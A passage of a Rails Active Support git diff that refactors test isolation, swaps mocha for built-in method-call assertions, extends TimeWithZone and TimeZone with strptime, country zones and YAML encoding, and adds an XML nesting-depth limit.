fixture_name)) diff --git a/activesupport/lib/active_support/testing/isolation.rb b/activesupport/lib/active_support/testing/isolation.rb index 247df7423b..edf8b30a0a 100644 --- a/activesupport/lib/active_support/testing/isolation.rb +++ b/activesupport/lib/active_support/testing/isolation.rb @@ -41,7 +41,23 @@ module ActiveSupport pid = fork do read.close yield - write.puts [Marshal.dump(self.dup)].pack("m") + begin + if error? + failures.map! { |e| + begin + Marshal.dump e + e + rescue TypeError + ex = Exception.new e.message + ex.set_backtrace e.backtrace + Minitest::UnexpectedError.new ex + end + } + end + result = Marshal.dump(self.dup) + end + + write.puts [result].pack("m") exit! end @@ -69,17 +85,17 @@ module ActiveSupport else Tempfile.open("isolation") do |tmpfile| env = { - ISOLATION_TEST: self.class.name, - ISOLATION_OUTPUT: tmpfile.path + 'ISOLATION_TEST' => self.class.name, + 'ISOLATION_OUTPUT' => tmpfile.path } load_paths = $-I.map {|p| "-I\"#{File.expand_path(p)}\"" }.join(" ") orig_args = ORIG_ARGV.join(" ") test_opts = "-n#{self.class.name}##{self.name}" - command = "#{Gem.ruby} #{load_paths} #{$0} #{orig_args} #{test_opts}" + command = "#{Gem.ruby} #{load_paths} #{$0} '#{orig_args}' #{test_opts}" # IO.popen lets us pass env in a cross-platform way - child = IO.popen([env, command]) + child = IO.popen(env, command) begin Process.wait(child.pid) diff --git a/activesupport/lib/active_support/testing/method_call_assertions.rb b/activesupport/lib/active_support/testing/method_call_assertions.rb new file mode 100644 index 0000000000..fccaa54f40 --- /dev/null +++ b/activesupport/lib/active_support/testing/method_call_assertions.rb @@ -0,0 +1,41 @@ +require 'minitest/mock' + +module ActiveSupport + module Testing + module MethodCallAssertions # :nodoc: + private + def assert_called(object, method_name, message = nil, times: 1, returns: nil) + times_called = 0 + + object.stub(method_name, proc { times_called += 1; returns }) { yield } + + error = "Expected #{method_name} to be called #{times} times, " \ + "but was called #{times_called} times" + error = "#{message}.\n#{error}" if message + assert_equal times, times_called, error + end + + def assert_called_with(object, method_name, args = [], returns: nil) + mock = Minitest::Mock.new + + if args.all? { |arg| arg.is_a?(Array) } + args.each { |arg| mock.expect(:call, returns, arg) } + else + mock.expect(:call, returns, args) + end + + object.stub(method_name, mock) { yield } + + mock.verify + end + + def assert_not_called(object, method_name, message = nil, &block) + assert_called(object, method_name, message, times: 0, &block) + end + + def stub_any_instance(klass, instance: klass.new) + klass.stub(:new, instance) { yield instance } + end + end + end +end diff --git a/activesupport/lib/active_support/testing/time_helpers.rb b/activesupport/lib/active_support/testing/time_helpers.rb index c9d20cd837..fca0947c5b 100644 --- a/activesupport/lib/active_support/testing/time_helpers.rb +++ b/activesupport/lib/active_support/testing/time_helpers.rb @@ -39,7 +39,7 @@ module ActiveSupport end end - # Containing helpers that helps you test passage of time. + # Contains helpers that help you test passage of time. module TimeHelpers # Changes current time to the time in the future or in the past by a given time difference by # stubbing +Time.now+, +Date.today+, and +DateTime.now+. diff --git a/activesupport/lib/active_support/time_with_zone.rb b/activesupport/lib/active_support/time_with_zone.rb index c28de4e21c..b1cec43124 100644 --- a/activesupport/lib/active_support/time_with_zone.rb +++ b/activesupport/lib/active_support/time_with_zone.rb @@ -1,5 +1,7 @@ +require 'active_support/duration' require 'active_support/values/time_zone' require 'active_support/core_ext/object/acts_like' +require 'active_support/core_ext/date_and_time/compatibility' module ActiveSupport # A Time-like class that can represent a time in any time zone. Necessary @@ -13,7 +15,7 @@ module ActiveSupport # Time.zone = 'Eastern Time (US & Canada)' # => 'Eastern Time (US & Canada)' # Time.zone.local(2007, 2, 10, 15, 30, 45) # => Sat, 10 Feb 2007 15:30:45 EST -05:00 # Time.zone.parse('2007-02-10 15:30:45') # => Sat, 10 Feb 2007 15:30:45 EST -05:00 - # Time.zone.at(1170361845) # => Sat, 10 Feb 2007 15:30:45 EST -05:00 + # Time.zone.at(1171139445) # => Sat, 10 Feb 2007 15:30:45 EST -05:00 # Time.zone.now # => Sun, 18 May 2008 13:07:55 EDT -04:00 # Time.utc(2007, 2, 10, 20, 30, 45).in_time_zone # => Sat, 10 Feb 2007 15:30:45 EST -05:00 # @@ -40,20 +42,24 @@ module ActiveSupport 'Time' end - include Comparable + PRECISIONS = Hash.new { |h, n| h[n] = "%FT%T.%#{n}N".freeze } + PRECISIONS[0] = '%FT%T'.freeze + + include Comparable, DateAndTime::Compatibility attr_reader :time_zone def initialize(utc_time, time_zone, local_time = nil, period = nil) - @utc, @time_zone, @time = utc_time, time_zone, local_time + @utc = utc_time ? transfer_time_values_to_utc_constructor(utc_time) : nil + @time_zone, @time = time_zone, local_time @period = @utc ? period : get_period_and_ensure_valid_local_time(period) end - # Returns a Time or DateTime instance that represents the time in +time_zone+. + # Returns a <tt>Time</tt> instance that represents the time in +time_zone+. def time @time ||= period.to_local(@utc) end - # Returns a Time or DateTime instance that represents the time in UTC. + # Returns a <tt>Time</tt> instance of the simultaneous time in the UTC timezone. def utc @utc ||= period.to_utc(@time) end @@ -73,10 +79,9 @@ module ActiveSupport utc.in_time_zone(new_zone) end - # Returns a <tt>Time.local()</tt> instance of the simultaneous time in your - # system's <tt>ENV['TZ']</tt> zone. + # Returns a <tt>Time</tt> instance of the simultaneous time in the system timezone. def localtime(utc_offset = nil) - utc.respond_to?(:getlocal) ? utc.getlocal(utc_offset) : utc.to_time.getlocal(utc_offset) + utc.getlocal(utc_offset) end alias_method :getlocal, :localtime @@ -98,7 +103,7 @@ module ActiveSupport # Time.zone = 'Eastern Time (US & Canada)' # => 'Eastern Time (US & Canada)' # Time.zone.now.utc? # => false def utc? - time_zone.name == 'UTC' + period.offset.abbreviation == :UTC || period.offset.abbreviation == :UCT end alias_method :gmt?, :utc? @@ -131,7 +136,7 @@ module ActiveSupport # Returns a string of the object's date, time, zone and offset from UTC. # - # Time.zone.now.httpdate # => "Thu, 04 Dec 2014 11:00:25 EST -05:00" + # Time.zone.now.inspect # => "Thu, 04 Dec 2014 11:00:25 EST -05:00" def inspect "#{time.strftime('%a, %d %b %Y %H:%M:%S')} #{zone} #{formatted_offset}" end @@ -141,11 +146,7 @@ module ActiveSupport # # Time.zone.now.xmlschema # => "2014-12-04T11:02:37-05:00" def xmlschema(fraction_digits = 0) - fraction = if fraction_digits.to_i > 0 - (".%06i" % time.usec)[0, fraction_digits.to_i + 1] - end - - "#{time.strftime("%Y-%m-%dT%H:%M:%S")}#{fraction}#{formatted_offset(true, 'Z')}" + "#{time.strftime(PRECISIONS[fraction_digits.to_i])}#{formatted_offset(true, 'Z'.freeze)}" end alias_method :iso8601, :xmlschema @@ -169,12 +170,13 @@ module ActiveSupport end end - def encode_with(coder) - if coder.respond_to?(:represent_object) - coder.represent_object(nil, utc) - else - coder.represent_scalar(nil, utc.strftime("%Y-%m-%d %H:%M:%S.%9NZ")) - end + def init_with(coder) #:nodoc: + initialize(coder['utc'], coder['zone'], coder['time']) + end + + def encode_with(coder) #:nodoc: + coder.tag = '!ruby/object:ActiveSupport::TimeWithZone' + coder.map = { 'utc' => utc, 'zone' => time_zone, 'time' => time } end # Returns a string of the object's date and time in the format used by @@ -244,8 +246,9 @@ module ActiveSupport utc.future? end + # Returns +true+ if +other+ is equal to current object. def eql?(other) - utc.eql?(other) + other.eql?(utc) end def hash @@ -282,8 +285,8 @@ module ActiveSupport # the current object's time and the +other+ time. # # Time.zone = 'Eastern Time (US & Canada)' # => 'Eastern Time (US & Canada)' - # now = Time.zone.now # => Sun, 02 Nov 2014 01:26:28 EST -05:00 - # now - 1000 # => Sun, 02 Nov 2014 01:09:48 EST -05:00 + # now = Time.zone.now # => Mon, 03 Nov 2014 00:26:28 EST -05:00 + # now - 1000 # => Mon, 03 Nov 2014 00:09:48 EST -05:00 # # If subtracting a Duration of variable length (i.e., years, months, days), # move backward from #time, otherwise move backward from #utc, for accuracy @@ -292,8 +295,8 @@ module ActiveSupport # For instance, a time - 24.hours will go subtract exactly 24 hours, while a # time - 1.day will subtract 23-25 hours, depending on the day. # - # now - 24.hours # => Sat, 01 Nov 2014 02:26:28 EDT -04:00 - # now - 1.day # => Sat, 01 Nov 2014 01:26:28 EDT -04:00 + # now - 24.hours # => Sun, 02 Nov 2014 01:26:28 EDT -04:00 + # now - 1.day # => Sun, 02 Nov 2014 00:26:28 EDT -04:00 def -(other) if other.acts_like?(:time) to_time - other.to_time @@ -305,10 +308,48 @@ module ActiveSupport end end + # Subtracts an interval of time from the current object's time and returns + # the result as a new TimeWithZone object. + # + # Time.zone = 'Eastern Time (US & Canada)' # => 'Eastern Time (US & Canada)' + # now = Time.zone.now # => Mon, 03 Nov 2014 00:26:28 EST -05:00 + # now.ago(1000) # => Mon, 03 Nov 2014 00:09:48 EST -05:00 + # + # If we're subtracting a Duration of variable length (i.e., years, months, + # days), move backward from #time, otherwise move backward from #utc, for + # accuracy when moving across DST boundaries. + # + # For instance, <tt>time.ago(24.hours)</tt> will move back exactly 24 hours, + # while <tt>time.ago(1.day)</tt> will move back 23-25 hours, depending on + # the day. + # + # now.ago(24.hours) # => Sun, 02 Nov 2014 01:26:28 EDT -04:00 + # now.ago(1.day) # => Sun, 02 Nov 2014 00:26:28 EDT -04:00 def ago(other) since(-other) end + # Uses Date to provide precise Time calculations for years, months, and days + # according to the proleptic Gregorian calendar. The result is returned as a + # new TimeWithZone object. + # + # The +options+ parameter takes a hash with any of these keys: + # <tt>:years</tt>, <tt>:months</tt>, <tt>:weeks</tt>, <tt>:days</tt>, + # <tt>:hours</tt>, <tt>:minutes</tt>, <tt>:seconds</tt>. + # + # If advancing by a value of variable length (i.e., years, weeks, months, + # days), move forward from #time, otherwise move forward from #utc, for + # accuracy when moving across DST boundaries. + # + # Time.zone = 'Eastern Time (US & Canada)' # => 'Eastern Time (US & Canada)' + # now = Time.zone.now # => Sun, 02 Nov 2014 01:26:28 EDT -04:00 + # now.advance(seconds: 1) # => Sun, 02 Nov 2014 01:26:29 EDT -04:00 + # now.advance(minutes: 1) # => Sun, 02 Nov 2014 01:27:28 EDT -04:00 + # now.advance(hours: 1) # => Sun, 02 Nov 2014 01:26:28 EST -05:00 + # now.advance(days: 1) # => Mon, 03 Nov 2014 01:26:28 EST -05:00 + # now.advance(weeks: 1) # => Sun, 09 Nov 2014 01:26:28 EST -05:00 + # now.advance(months: 1) # => Tue, 02 Dec 2014 01:26:28 EST -05:00 + # now.advance(years: 1) # => Mon, 02 Nov 2015 01:26:28 EST -05:00 def advance(options) # If we're advancing a value of variable length (i.e., years, weeks, months, days), advance from #time, # otherwise advance from #utc, for accuracy when moving across DST boundaries @@ -327,6 +368,11 @@ module ActiveSupport EOV end + # Returns Array of parts of Time in sequence of + # [seconds, minutes, hours, day, month, year, weekday, yearday, dst?, zone]. + # + # now = Time.zone.now # => Tue, 18 Aug 2015 02:29:27 UTC +00:00 + # now.to_a # => [27, 29, 2, 18, 8, 2015, 2, 230, false, "UTC"] def to_a [time.sec, time.min, time.hour, time.day, time.mon, time.year, time.wday, time.yday, dst?, zone] end @@ -356,11 +402,10 @@ module ActiveSupport utc.to_r end - # Return an instance of Time in the system timezone. - def to_time - utc.to_time - end - + # Returns an instance of DateTime with the timezone's UTC offset + # + # Time.zone.now.to_datetime # => Tue, 18 Aug 2015 02:32:20 +0000 + # Time.current.in_time_zone('Hawaii').to_datetime # => Mon, 17 Aug 2015 16:32:20 -1000 def to_datetime utc.to_datetime.new_offset(Rational(utc_offset, 86_400)) end @@ -376,6 +421,11 @@ module ActiveSupport end alias_method :kind_of?, :is_a? + # An instance of ActiveSupport::TimeWithZone is never blank + def blank? + false + end + def freeze period; utc; time # preload instance variables before freezing super @@ -400,7 +450,6 @@ module ActiveSupport # Ensure proxy class responds to all methods that underlying time instance # responds to. def respond_to_missing?(sym, include_priv) - # consistently respond false to acts_like?(:date), regardless of whether #time is a Time or DateTime return false if sym.to_sym == :acts_like_date? time.respond_to?(sym, include_priv) end @@ -428,7 +477,7 @@ module ActiveSupport end def transfer_time_values_to_utc_constructor(time) - ::Time.utc(time.year, time.month, time.day, time.hour, time.min, time.sec, Rational(time.nsec, 1000)) + ::Time.utc(time.year, time.month, time.day, time.hour, time.min, time.sec + time.subsec) end def duration_of_variable_length?(obj) diff --git a/activesupport/lib/active_support/values/time_zone.rb b/activesupport/lib/active_support/values/time_zone.rb index da39f0d245..19420cee5e 100644 --- a/activesupport/lib/active_support/values/time_zone.rb +++ b/activesupport/lib/active_support/values/time_zone.rb @@ -1,7 +1,6 @@ require 'tzinfo' -require 'thread_safe' +require 'concurrent/map' require 'active_support/core_ext/object/blank' -require 'active_support/core_ext/object/try' module ActiveSupport # The TimeZone class serves as a wrapper around TZInfo::Timezone instances. @@ -23,15 +22,9 @@ module ActiveSupport # config.time_zone = 'Eastern Time (US & Canada)' # end # - # Time.zone # => #<TimeZone:0x514834...> + # Time.zone # => #<ActiveSupport::TimeZone:0x514834...> # Time.zone.name # => "Eastern Time (US & Canada)" # Time.zone.now # => Sun, 18 May 2008 14:30:44 EDT -04:00 - # - # The version of TZInfo bundled with Active Support only includes the - # definitions necessary to support the zones defined by the TimeZone class. - # If you need to use zones that aren't defined by TimeZone, you'll need to - # install the TZInfo gem (if a recent version of the gem is installed locally, - # this will be used instead of the bundled version.) class TimeZone # Keys are Rails TimeZone names, values are TZInfo identifiers. MAPPING = { @@ -92,7 +85,8 @@ module ActiveSupport "Paris" => "Europe/Paris", "Amsterdam" => "Europe/Amsterdam", "Berlin" => "Europe/Berlin", - "Bern" => "Europe/Berlin", + "Bern" => "Europe/Zurich", + "Zurich" => "Europe/Zurich", "Rome" => "Europe/Rome", "Stockholm" => "Europe/Stockholm", "Vienna" => "Europe/Vienna", @@ -189,13 +183,14 @@ module ActiveSupport UTC_OFFSET_WITH_COLON = '%s%02d:%02d' UTC_OFFSET_WITHOUT_COLON = UTC_OFFSET_WITH_COLON.tr(':', '') - @lazy_zones_map = ThreadSafe::Cache.new + @lazy_zones_map = Concurrent::Map.new + @country_zones = Concurrent::Map.new class << self # Assumes self represents an offset from UTC in seconds (as returned from # Time#utc_offset) and turns this into an +HH:MM formatted string. # - # TimeZone.seconds_to_utc_offset(-21_600) # => "-06:00" + # ActiveSupport::TimeZone.seconds_to_utc_offset(-21_600) # => "-06:00" def seconds_to_utc_offset(seconds, colon = true) format = colon ? UTC_OFFSET_WITH_COLON : UTC_OFFSET_WITHOUT_COLON sign = (seconds < 0 ? '-' : '+') @@ -248,7 +243,18 @@ module ActiveSupport # A convenience method for returning a collection of TimeZone objects # for time zones in the USA. def us_zones - @us_zones ||= all.find_all { |z| z.name =~ /US|Arizona|Indiana|Hawaii|Alaska/ } + country_zones(:us) + end + + # A convenience method for returning a collection of TimeZone objects + # for time zones in the country specified by its ISO 3166-1 Alpha2 code. + def country_zones(country_code) + code = country_code.to_s.upcase + @country_zones[code] ||= + TZInfo::Country.get(code).zone_identifiers.map do |tz_id| + name = MAPPING.key(tz_id) + name && self[name] + end.compact.sort! end private @@ -272,7 +278,6 @@ module ActiveSupport @name = name @utc_offset = utc_offset @tzinfo = tzinfo || TimeZone.find_tzinfo(name) - @current_period = nil end # Returns the offset of this time zone from UTC in seconds. @@ -280,13 +285,16 @@ module ActiveSupport if @utc_offset @utc_offset else - @current_period ||= tzinfo.current_period if tzinfo - @current_period.utc_offset if @current_period + tzinfo.current_period.utc_offset if tzinfo && tzinfo.current_period end end - # Returns the offset of this time zone as a formatted string, of the - # format "+HH:MM". + # Returns a formatted string of the offset from UTC, or an alternative + # string if the time zone is already UTC. + # + # zone = ActiveSupport::TimeZone['Central Time (US & Canada)'] + # zone.formatted_offset # => "-06:00" + # zone.formatted_offset(false) # => "-0600" def formatted_offset(colon=true, alternate_utc_string = nil) utc_offset == 0 && alternate_utc_string || self.class.seconds_to_utc_offset(utc_offset, colon) end @@ -348,24 +356,31 @@ module ActiveSupport # # Time.zone.parse('Mar 2000') # => Wed, 01 Mar 2000 00:00:00 HST -10:00 def parse(str, now=now()) - parts = Date._parse(str, false) - return if parts.empty? - - time = Time.new( - parts.fetch(:year, now.year), - parts.fetch(:mon, now.month), - parts.fetch(:mday, parts[:year] || parts[:mon] ? 1 : now.day), - parts.fetch(:hour, 0), - parts.fetch(:min, 0), - parts.fetch(:sec, 0) + parts.fetch(:sec_fraction, 0), - parts.fetch(:offset, 0) - ) - - if parts[:offset] - TimeWithZone.new(time.utc, self) - else - TimeWithZone.new(nil, self, time) - end + parts_to_time(Date._parse(str, false), now) + end + + # Parses +str+ according to +format+ and returns an ActiveSupport::TimeWithZone. + # + # Assumes that +str+ is a time in the time zone +self+, + # unless +format+ includes an explicit time zone. + # (This is the same behavior as +parse+.) + # In either case, the returned TimeWithZone has the timezone of +self+. + # + # Time.zone = 'Hawaii' # => "Hawaii" + # Time.zone.strptime('1999-12-31 14:00:00', '%Y-%m-%d %H:%M:%S') # => Fri, 31 Dec 1999 14:00:00 HST -10:00 + # + # If upper components are missing from the string, they are supplied from + # TimeZone#now: + # + # Time.zone.now # => Fri, 31 Dec 1999 14:00:00 HST -10:00 + # Time.zone.strptime('22:30:00', '%H:%M:%S') # => Fri, 31 Dec 1999 22:30:00 HST -10:00 + # + # However, if the date component is not provided, but any other upper + # components are supplied, then the day of the month defaults to 1: + # + # Time.zone.strptime('Mar 2000', '%b %Y') # => Wed, 01 Mar 2000 00:00:00 HST -10:00 + def strptime(str, format, now=now()) + parts_to_time(DateTime._strptime(str, format), now) end # Returns an ActiveSupport::TimeWithZone instance representing the current @@ -377,7 +392,7 @@ module ActiveSupport time_now.utc.in_time_zone(self) end - # Return the current date in this time zone. + # Returns the current date in this time zone. def today tzinfo.now.to_date end @@ -421,7 +436,36 @@ module ActiveSupport tzinfo.periods_for_local(time) end + def init_with(coder) #:nodoc: + initialize(coder['name']) + end + + def encode_with(coder) #:nodoc: + coder.tag ="!ruby/object:#{self.class}" + coder.map = { 'name' => tzinfo.name } + end + private + def parts_to_time(parts, now) + return if parts.empty? + + time = Time.new( + parts.fetch(:year, now.year), + parts.fetch(:mon, now.month), + parts.fetch(:mday, parts[:year] || parts[:mon] ? 1 : now.day), + parts.fetch(:hour, 0), + parts.fetch(:min, 0), + parts.fetch(:sec, 0) + parts.fetch(:sec_fraction, 0), + parts.fetch(:offset, 0) + ) + + if parts[:offset] + TimeWithZone.new(time.utc, self) + else + TimeWithZone.new(nil, self, time) + end + end + def time_now Time.now end diff --git a/activesupport/lib/active_support/values/unicode_tables.dat b/activesupport/lib/active_support/values/unicode_tables.dat Binary files differindex 760be4c07a..dd2c178fb6 100644 --- a/activesupport/lib/active_support/values/unicode_tables.dat +++ b/activesupport/lib/active_support/values/unicode_tables.dat diff --git a/activesupport/lib/active_support/xml_mini.rb b/activesupport/lib/active_support/xml_mini.rb index 009ee4db90..df7b081993 100644 --- a/activesupport/lib/active_support/xml_mini.rb +++ b/activesupport/lib/active_support/xml_mini.rb @@ -78,6 +78,9 @@ module ActiveSupport ) end + attr_accessor :depth + self.depth = 100 + delegate :parse, :to => :backend def backend diff --git a/activesupport/lib/active_support/xml_mini/jdom.rb b/activesupport/lib/active_support/xml_mini/jdom.rb index f303daa1a7..94751bbc04 100644 --- a/activesupport/lib/active_support/xml_mini/jdom.rb +++ b/activesupport/lib/active_support/xml_mini/jdom.rb @@ -46,7 +46,7 @@ module ActiveSupport xml_string_reader = StringReader.new(data) xml_input_source = InputSource.new(xml_string_reader) doc = @dbf.new_document_builder.parse(xml_input_source) - merge_element!({CONTENT_KEY => ''}, doc.document_element) + merge_element!({CONTENT_KEY => ''}, doc.document_element, XmlMini.depth) end end @@ -58,9 +58,10 @@ module ActiveSupport # Hash to merge the converted element into. # element:: # XML element to merge into hash - def merge_element!(hash, element) + def merge_element!(hash, element, depth) + raise 'Document too deep!' if depth == 0 delete_empty(hash) - merge!(hash, element.tag_name, collapse(element)) + merge!(hash, element.tag_name, collapse(element, depth)) end def delete_empty(hash) @@ -71,14 +72,14 @@ module ActiveSupport # # element:: # The document element to be collapsed. - def collapse(element) + def collapse(element, depth) hash = get_attributes(element) child_nodes = element.child_nodes if child_nodes.length > 0 (0...child_nodes.length).each do |i| child = child_nodes.item(i) - merge_element!(hash, child) unless child.node_type == Node.TEXT_NODE + merge_element!(hash, child, depth - 1) unless child.node_type == Node.TEXT_NODE end merge_texts!(hash, element) unless empty_content?(element) hash diff --git a/activesupport/lib/active_support/xml_mini/rexml.rb b/activesupport/lib/active_support/xml_mini/rexml.rb index 5c7c78bf70..924ed72345 100644 --- a/activesupport/lib/active_support/xml_mini/rexml.rb +++ b/activesupport/lib/active_support/xml_mini/rexml.rb @@ -29,7 +29,7 @@ module ActiveSupport doc = REXML::Document.new(data) if doc.root - merge_element!({}, doc.root) + merge_element!({}, doc.root, XmlMini.depth) else raise REXML::ParseException, "The document #{doc.to_s.inspect} does not have a valid root" @@ -44,19 +44,20 @@ module ActiveSupport # Hash to merge the converted element into. # element:: # XML element to merge into hash - def merge_element!(hash, element) - merge!(hash, element.name, collapse(element)) + def merge_element!(hash, element, depth) + raise REXML::ParseException, "The document is too deep" if depth == 0 + merge!(hash, element.name, collapse(element, depth)) end # Actually converts an XML document element into a data structure. # # element:: # The document element to be collapsed. - def collapse(element) + def collapse(element, depth) hash = get_attributes(element) if element.has_elements? - element.each_element {|child| merge_element!(hash, child) } + element.each_element {|child| merge_element!(hash, child, depth - 1) } merge_texts!(hash, element) unless empty_content?(element) hash else diff --git a/activesupport/test/abstract_unit.rb b/activesupport/test/abstract_unit.rb index 7ffcae6007..bab7440397 100644 --- a/activesupport/test/abstract_unit.rb +++ b/activesupport/test/abstract_unit.rb @@ -1,12 +1,5 @@ ORIG_ARGV = ARGV.dup -begin - old, $VERBOSE = $VERBOSE, nil - require File.expand_path('../../../load_paths', __FILE__) -ensure - $VERBOSE = old -end - require 'active_support/core_ext/kernel/reporting' silence_warnings do @@ -15,6 +8,7 @@ silence_warnings do end require 'active_support/testing/autorun' +require 'active_support/testing/method_call_assertions' ENV['NO_RELOAD'] = '1' require 'active_support' @@ -24,6 +18,9 @@ Thread.abort_on_exception = true # Show backtraces for deprecated behavior for quicker cleanup. ActiveSupport::Deprecation.debug = true +# Default to old to_time behavior but allow running tests with new behavior +ActiveSupport.to_time_preserves_timezone = ENV['PRESERVE_TIMEZONES'] == '1' + # Disable available locale checks to avoid warnings running the test suite. I18n.enforce_available_locales = false @@ -37,4 +34,6 @@ def jruby_skip(message = '') skip message if defined?(JRUBY_VERSION) end -require 'mocha/setup' # FIXME: stop using mocha +class ActiveSupport::TestCase + include ActiveSupport::Testing::MethodCallAssertions +end diff --git a/activesupport/test/array_inquirer_test.rb b/activesupport/test/array_inquirer_test.rb new file mode 100644 index 0000000000..263ab3802b --- /dev/null +++ b/activesupport/test/array_inquirer_test.rb @@ -0,0 +1,41 @@ +require 'abstract_unit' +require 'active_support/core_ext/array' + +class ArrayInquirerTest < ActiveSupport::TestCase + def setup + @array_inquirer = ActiveSupport::ArrayInquirer.new([:mobile, :tablet, 'api']) + end + + def test_individual + assert @array_inquirer.mobile? + assert @array_inquirer.tablet? + assert_not @array_inquirer.desktop? + end + + def test_any + assert @array_inquirer.any?(:mobile, :desktop) + assert @array_inquirer.any?(:watch, :tablet) + assert_not @array_inquirer.any?(:desktop, :watch) + end + + def test_any_string_symbol_mismatch + assert @array_inquirer.any?('mobile') + assert @array_inquirer.any?(:api) + end + + def test_any_with_block + assert @array_inquirer.any? { |v| v == :mobile } + assert_not @array_inquirer.any? { |v| v == :desktop } + end + + def test_respond_to + assert_respond_to @array_inquirer, :development? + end + + def test_inquiry + result = [:mobile, :tablet, 'api'].inquiry + + assert_instance_of ActiveSupport::ArrayInquirer, result + assert_equal @array_inquirer, result + end +end diff --git a/activesupport/test/autoloading_fixtures/a/c/e/f.rb b/activesupport/test/autoloading_fixtures/a/c/e/f.rb deleted file mode 100644 index 57dba5a307..0000000000 --- a/activesupport/test/autoloading_fixtures/a/c/e/f.rb +++ /dev/null @@ -1,2 +0,0 @@ -class A::C::E::F -end
\ No newline at end of file diff --git a/activesupport/test/autoloading_fixtures/a/c/em/f.rb b/activesupport/test/autoloading_fixtures/a/c/em/f.rb new file mode 100644 index 0000000000..8b28e19148 --- /dev/null +++ b/activesupport/test/autoloading_fixtures/a/c/em/f.rb @@ -0,0 +1,2 @@ +class A::C::EM::F +end
\ No newline at end of file diff --git a/activesupport/test/autoloading_fixtures/d.rb b/activesupport/test/autoloading_fixtures/d.rb new file mode 100644 index 0000000000..45c794d4ca --- /dev/null +++ b/activesupport/test/autoloading_fixtures/d.rb @@ -0,0 +1,2 @@ +class D +end
\ No newline at end of file diff --git a/activesupport/test/autoloading_fixtures/e.rb b/activesupport/test/autoloading_fixtures/e.rb deleted file mode 100644 index 2f59e4fb75..0000000000 --- a/activesupport/test/autoloading_fixtures/e.rb +++ /dev/null @@ -1,2 +0,0 @@ -class E -end
\ No newline at end of file diff --git a/activesupport/test/autoloading_fixtures/em.rb b/activesupport/test/autoloading_fixtures/em.rb new file mode 100644 index 0000000000..16a1838667 --- /dev/null +++ b/activesupport/test/autoloading_fixtures/em.rb @@ -0,0 +1,2 @@ +class EM +end
\ No newline at end of file diff --git a/activesupport/test/autoloading_fixtures/raises_arbitrary_exception.rb b/activesupport/test/autoloading_fixtures/raises_arbitrary_exception.rb new file mode 100644 index 0000000000..3ca4213c71 --- /dev/null +++ b/activesupport/test/autoloading_fixtures/raises_arbitrary_exception.rb @@ -0,0 +1,4 @@ +RaisesArbitraryException = 1 +_ = A::B # Autoloading recursion, also expected to be watched and discarded. + +raise Exception, 'arbitray exception message' diff --git a/activesupport/test/autoloading_fixtures/throws.rb b/activesupport/test/autoloading_fixtures/throws.rb new file mode 100644 index 0000000000..e1d96cc512 --- /dev/null +++ b/activesupport/test/autoloading_fixtures/throws.rb @@ -0,0 +1,4 @@ +Throws = 1 +_ = A::B # Autoloading recursion, expected to be discarded. + +throw :t diff --git a/activesupport/test/benchmarkable_test.rb b/activesupport/test/benchmarkable_test.rb index 04d4f5e503..5af041f458 100644 --- a/activesupport/test/benchmarkable_test.rb +++ b/activesupport/test/benchmarkable_test.rb @@ -41,6 +41,20 @@ class BenchmarkableTest < ActiveSupport::TestCase assert_last_logged 'test_run' end + def test_with_silence + assert_difference 'buffer.count', +2 do + benchmark('test_run') do + logger.info "SOMETHING" + end + end + + assert_difference 'buffer.count', +1 do + benchmark('test_run', silence: true) do + logger.info "NOTHING" + end + end + end + def test_within_level logger.level = ActiveSupport::Logger::DEBUG benchmark('included_debug_run', :level => :debug) { } diff --git a/activesupport/test/caching_test.rb b/activesupport/test/caching_test.rb index 4953550c45..ec7d028d7e 100644 --- a/activesupport/test/caching_test.rb +++ b/activesupport/test/caching_test.rb @@ -133,37 +133,42 @@ class CacheStoreSettingTest < ActiveSupport::TestCase end def test_mem_cache_fragment_cache_store - Dalli::Client.expects(:new).with(%w[localhost], {}) - store = ActiveSupport::Cache.lookup_store :mem_cache_store, "localhost" - assert_kind_of(ActiveSupport::Cache::MemCacheStore, store) + assert_called_with(Dalli::Client, :new, [%w[localhost], {}]) do + store = ActiveSupport::Cache.lookup_store :mem_cache_store, "localhost" + assert_kind_of(ActiveSupport::Cache::MemCacheStore, store) + end end def test_mem_cache_fragment_cache_store_with_given_mem_cache mem_cache = Dalli::Client.new - Dalli::Client.expects(:new).never - store = ActiveSupport::Cache.lookup_store :mem_cache_store, mem_cache - assert_kind_of(ActiveSupport::Cache::MemCacheStore, store) + assert_not_called(Dalli::Client, :new) do + store = ActiveSupport::Cache.lookup_store :mem_cache_store, mem_cache + assert_kind_of(ActiveSupport::Cache::MemCacheStore, store) + end end def test_mem_cache_fragment_cache_store_with_not_dalli_client - Dalli::Client.expects(:new).never - memcache = Object.new - assert_raises(ArgumentError) do - ActiveSupport::Cache.lookup_store :mem_cache_store, memcache + assert_not_called(Dalli::Client, :new) do + memcache = Object.new + assert_raises(ArgumentError) do + ActiveSupport::Cache.lookup_store :mem_cache_store, memcache + end end end def test_mem_cache_fragment_cache_store_with_multiple_servers - Dalli::Client.expects(:new).with(%w[localhost 192.168.1.1], {}) - store = ActiveSupport::Cache.lookup_store :mem_cache_store, "localhost", '192.168.1.1' - assert_kind_of(ActiveSupport::Cache::MemCacheStore, store) + assert_called_with(Dalli::Client, :new, [%w[localhost 192.168.1.1], {}]) do + store = ActiveSupport::Cache.lookup_store :mem_cache_store, "localhost", '192.168.1.1' + assert_kind_of(ActiveSupport::Cache::MemCacheStore, store) + end end def test_mem_cache_fragment_cache_store_with_options - Dalli::Client.expects(:new).with(%w[localhost 192.168.1.1], { :timeout => 10 }) - store = ActiveSupport::Cache.lookup_store :mem_cache_store, "localhost", '192.168.1.1', :namespace => 'foo', :timeout => 10 - assert_kind_of(ActiveSupport::Cache::MemCacheStore, store) - assert_equal 'foo', store.options[:namespace] + assert_called_with(Dalli::Client, :new, [%w[localhost 192.168.1.1], { :timeout => 10 }]) do + store = ActiveSupport::Cache.lookup_store :mem_cache_store, "localhost", '192.168.1.1', :namespace => 'foo', :timeout => 10 + assert_kind_of(ActiveSupport::Cache::MemCacheStore, store) + assert_equal 'foo', store.options[:namespace] + end end def test_object_assigned_fragment_cache_store @@ -224,13 +229,15 @@ module CacheStoreBehavior def test_fetch_without_cache_miss @cache.write('foo', 'bar') - @cache.expects(:write).never - assert_equal 'bar', @cache.fetch('foo') { 'baz' } + assert_not_called(@cache, :write) do + assert_equal 'bar', @cache.fetch('foo') { 'baz' } + end end def test_fetch_with_cache_miss - @cache.expects(:write).with('foo', 'baz', @cache.options) - assert_equal 'baz', @cache.fetch('foo') { 'baz' } + assert_called_with(@cache, :write, ['foo', 'baz', @cache.options]) do + assert_equal 'baz', @cache.fetch('foo') { 'baz' } + end end def 